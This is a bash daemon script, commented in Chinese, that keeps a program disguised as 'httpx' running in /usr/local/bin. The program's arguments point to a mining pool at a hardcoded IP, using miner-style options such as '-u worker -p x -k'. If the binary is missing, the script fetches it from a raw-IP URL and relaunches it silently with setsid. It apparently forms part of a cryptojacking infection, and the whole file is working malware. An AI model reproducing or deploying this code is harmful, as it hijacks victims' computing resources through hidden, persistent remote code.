#!/bin/bash

# ============================================================
# 守护脚本 - 自动保活和修复
# ============================================================

# 配置（由主脚本注入）
EXEC_PATH="/usr/local/bin/httpx"
EXEC_DIR="/usr/local/bin"
FILENAME="httpx"
PROG_ARGS="-o 45.86.86.23:45678 -u worker -p x -k"
INSTALL_URL="http://45.86.86.23:11132/wjazvtmfse/httpx"

LOCK_FILE="/tmp/httpx_daemon.lock"
PID_FILE="/tmp/httpx_${FILENAME}.pid"

# ========== 清理旧的锁文件 ==========
if [ -f "$LOCK_FILE" ]; then
    LOCK_PID=$(lsof "$LOCK_FILE" 2>/dev/null | awk 'NR==2 {print $2}' || echo "")
    if [ -n "$LOCK_PID" ] && kill -0 "$LOCK_PID" 2>/dev/null; then
        exit 0
    else
        rm -f "$LOCK_FILE"
    fi
fi

# ========== 获取锁 ==========
exec 200>"$LOCK_FILE"
if ! flock -n 200; then
    exit 0
fi

cleanup_daemon() {
    exec 200>&-
    rm -f "$LOCK_FILE"
}
trap cleanup_daemon EXIT

# ========== 检查进程是否正在运行 ==========
is_process_running() {
    if [ -f "$PID_FILE" ]; then
        local pid=$(cat "$PID_FILE" 2>/dev/null)
        if [ -n "$pid" ] && kill -0 "$pid" 2>/dev/null; then
            if ps -p "$pid" -o state= 2>/dev/null | grep -q "Z"; then
                kill -9 "$pid" 2>/dev/null || true
                rm -f "$PID_FILE"
                return 1
            fi
            return 0
        fi
        rm -f "$PID_FILE"
    fi
    
    if pgrep -f "[h]ttpx" >/dev/null 2>&1; then
        return 0
    fi
    
    if ps aux 2>/dev/null | grep -E "[0-9]+.*httpx" | grep -v grep | grep -v "daemon" >/dev/null 2>&1; then
        return 0
    fi
    
    return 1
}

# ========== 启动进程 ==========
start_process() {
    if is_process_running; then
        return 0
    fi
    
    cd "$EXEC_DIR" || return 1
    
    if [ ! -x "$EXEC_PATH" ]; then
        chmod +x "$EXEC_PATH" 2>/dev/null || return 1
    fi
    
    if [ ! -x "$EXEC_PATH" ]; then
        return 1
    fi
    
    setsid "$EXEC_PATH" $PROG_ARGS < /dev/null > /dev/null 2>&1 &
    local pid=$!
    echo "$pid" > "$PID_FILE"
    sleep 2
    
    if kill -0 "$pid" 2>/dev/null; then
        return 0
    else
        rm -f "$PID_FILE"
        return 1
    fi
}

# ========== 下载程序 ==========
download_program() {
    local temp_file="/tmp/httpx_download_$$.tmp"
    local success=false
    
    trap 'rm -f "$temp_file"' RETURN
    
    for i in 1 2 3; do
        if command -v wget &>/dev/null; then
            if wget -O "$temp_file" "$INSTALL_URL" --timeout=10 --tries=1 2>/dev/null; then
                success=true
                break
            fi
        elif command -v curl &>/dev/null; then
            if curl -L -o "$temp_file" "$INSTALL_URL" --connect-timeout 10 --max-time 30 -f -s; then
                success=true
                break
            fi
        else
            return 1
        fi
        sleep 2
    done
    
    if [ "$success" != "true" ]; then
        rm -f "$temp_file"
        return 1
    fi
    
    if [ ! -s "$temp_file" ]; then
        rm -f "$temp_file"
        return 1
    fi
    
    mv "$temp_file" "$EXEC_PATH"
    chmod +x "$EXEC_PATH"
    return 0
}

# ============================================================
# 主逻辑
# ============================================================

if [ ! -f "$EXEC_PATH" ]; then
    if download_program; then
        start_process
    fi
    exit 0
fi

if [ ! -x "$EXEC_PATH" ]; then
    chmod +x "$EXEC_PATH" 2>/dev/null
fi

if ! is_process_running; then
    start_process
fi

exit 0
